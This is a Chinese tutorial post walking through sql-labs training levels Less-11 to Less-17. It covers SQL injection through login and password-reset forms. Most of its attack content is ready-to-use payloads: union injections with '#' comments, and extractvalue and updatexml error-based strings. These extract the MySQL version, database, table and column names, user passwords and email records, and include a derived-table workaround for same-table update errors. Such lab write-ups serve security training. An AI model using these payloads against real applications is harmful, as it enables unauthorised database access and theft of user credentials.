当前位置: 首页 > news >正文

【靶场实操】sql-labs通关详解----第二节:前端页面相关(Less-11-Less-17)

        SQL注入攻击是一种针对Web应用程序的安全漏洞,那么自然,SQL注入攻击也和前端页面息息相关,用户输入未被正确处理、动态查询的构建、前端JavaScript代码错误,等等我问题都可能造成安全威胁。

在上一节,我们了解了基础的SQL注入模式,他们大多都从地址导航栏入手,直接向查询语句中注入攻击语句。本章我们来看和前端页面相关的一些SQL注入攻击。

1.Less-11
1.1 页面分析

来到第十一关,我们可以看到,这一关与前十关有很大区别,页面有了一个输入框,提示我们输入用户名和密码。

顺其自然我们想到,注入点就在输入框里。前十关用到的都是get请求,参数都体现在url上面,而这一关开始是post请求,参数在表单里面。我们可以直接在输入框里面进行注入。

1.2 尝试注入


我们尝试输入1,页面报错,再尝试输入1‘,页面显示报错原因

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' and password='' LIMIT 0,1' at line 1

这说明,我们如果想查询某个用户的信息,并且用户ID为1,就需要隔断后面的部分。

知道了SQL语句,我们就可以构造一个恒成立的SQL语句,看查询出的是什么。这里我们需要把--+换成#来进行注释,意思是一样的,后续就和之前一样了,使用联合注入获取数据库信息。


不同点主要在于:将注释符从 --+换成 #

2.Less-12

来到第十二关,我们输入1和1‘没有反应,当我们输入1"的时候出现报错信息,我们从报错信息知道SQL语句是双引号且有括号。

​​​​​​​

那么我们就可以构造相应的SQL注入语句了。

1") or 1=1 #
1") union select 1,2 #


3.Less-13、14、15、16

第十三关与第十二关类似,只需要将双引号换成单引号。

第十四关与第十一关类似,只需要将单引号换成双引号。

第十五关和第十一关一样,只是不产生报错信息,对此我们可以使用布尔盲注。

第十六关和第十二关一样,需要使用布尔盲注。

4.Less-17(报错注入)

现在我们来到第十七关,根据页面来看,这是一个密码重置页面,也就是说我们已经登入系统了,可以执行修改操作。


根据源代码,SQL语句会对输入的账户名进行检测,对输入的特殊字符进行转义,我们能利用的只有更新密码的SQL语句。

4.1 extractvalue报错注入

这里我们需要用到extractvalue报错注入,extractvalue 是一个XQuery函数,用于从XML文档中提取特定值。格式为extractvalue(XML_document,XPath_string)。

第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc第二个参数:XPath_string (Xpath格式的字符串) 作用:从XML_document中提取符合XPATH_string的值,当我们XPath_string语法报错时候就会报错

了解了extractvalue的原理后,我们就可以开始注入了。和前面类似,首先我们来进行数据库版本爆破

1' and (extractvalue(1,concat(0x5c,version(),0x5c)))#

成功得到了数据库版本为5.7.26,接下来我们再来爆数据库。

1' and (extractvalue(1,concat(0x5c,database(),0x5c)))# 

又成功得到了数据库名,接下来,爆表名

1' and (extractvalue(1,concat(0x5c,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x5c)))#

爆字段名。

1' and (extractvalue(1,concat(0x5c,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x5c)))#

爆字段内容

1' and (extractvalue(1,concat(0x5c,(select group_concat(username,password) from users),0x5c)))# 

​​​​​​​当我们提交时,发现页面报错,报错显示我们不能查询和更新同一张表。

针对此问题,我们需要加一个中间表。本关只需要我们输入正确账号,所以爆出的是该账户的原始密码。只要查询时不是users表就不会报错。

1' and (extractvalue(1,concat(0x5c,(select password from (select password from users where username='admin1') b) ,0x5c)))# 

 

成功得到密码,爆破成功。

对于这两条语句:

  • 目标用户:第一个示例尝试获取users表中所有用户的用户名和密码,而第二个示例只针对特定用户admin1
  • 查询结构:第一个示例使用group_concat来合并所有用户的用户名和密码,第二个示例使用子查询来获取特定用户的密码。
4.2 updatexml报错注入

对于本关,我们还可以采用updatexml报错注入,updatexml 是MySQL数据库中的一个函数,它允许你使用XPath表达式和XML数据进行交互。然而,如果不正确使用,updatexml 也可能成为SQL注入攻击的漏洞。SQL注入攻击者可能会利用这个函数来尝试访问或修改数据库中的XML数据。

格式为UPDATEXML (XML_document, XPath_string, new_value)。第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc;第二个参数:XPath_string (Xpath格式的字符串) ;第三个参数:new_value,String格式,替换查找到的符合条件的数据

作用:改变文档中符合条件的节点的值,改变XML_document中符合XPATH_string的值。当我们XPath_string语法报错时候就会报错,updatexml()报错注入和extractvalue()报错注入基本差不多

123' and (updatexml(1,concat(0x5c,version(),0x5c),1))#     爆版本
123' and (updatexml(1,concat(0x5c,database(),0x5c),1))#    爆数据库123' and (updatexml(1,concat(0x5c,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x5c),1))#      爆表名
123' and (updatexml(1,concat(0x5c,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name ='users'),0x5c),1))#爆字段名123' and (updatexml(1,concat(0x5c,(select password from (select password from users where username='admin1') b),0x5c),1))#
爆密码该格式针对mysql数据库。
爆其他表就可以,下面是爆emails表
123' and (updatexml(1,concat(0x5c,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name ='emails'),0x5c),1))#1' and (updatexml (1,concat(0x5c,(select group_concat(id,email_id) from emails),0x5c),1))#   爆字段内容。

剩下的与extractvalue类似,也是要注意查询和修改不能为同一表的问题,但是可以爆破其他表

http://www.lryc.cn/news/413515.html

相关文章:

  • 样式与特效(2)——新闻列表
  • NICE Seminar(2023-07-16)|演化算法的理论研究到底有什么用?(南京大学钱超教授)
  • 优盘驱动器未格式化?数据恢复全攻略
  • (超全)Kubernetes 的核心组件解析
  • 前端常用的【设计模式】和使用场景
  • QT下载问题:Download from your IP address is not allowed
  • 自建数据库VS云数据库
  • 【大数据开发语言Scala的入门教程】
  • docker部署kkfileview文件在线预览服务
  • 朱锐 | 生命图像中的时间和意识
  • pytorch: cpu,cuda,tensorRt 推理对比学习
  • android 音频播放器,(一)SoundPool音频播放实例
  • AVL解析
  • 用C#和WinForms打造你的专属视频播放器:从多格式支持到全屏播放的完整指南
  • Spring security学习笔记
  • MySQL:基础增删查改
  • Apache DolphinScheduler 1.3.4升级至3.1.2版本过程中的踩坑记录
  • 最后一块石头的重量(超级妙的背包问题)
  • 如何评估和提升审查者在前端代码审查中的专业技能?
  • C++(区别于C的)基础内容总结
  • 实现代码灵活性:用Roslyn动态编译和执行存储在数据库中的C#代码
  • 探索哈希表:C++中的实现与操作详解【Map、Set、数据结构】
  • Python酷库之旅-第三方库Pandas(062)
  • python学习之旅(基础篇看这篇足够了!!!)
  • Azure OpenAI Embeddings vs OpenAI Embeddings
  • 重生奇迹MU职业成长三步走
  • 2024年中国数据中台行业研究报告
  • MySQL——数据表的基本操作(一)创建数据表
  • EPLAN EDZ 文件太大导入很慢如何解决?
  • 刷题——缺失的第一个正整数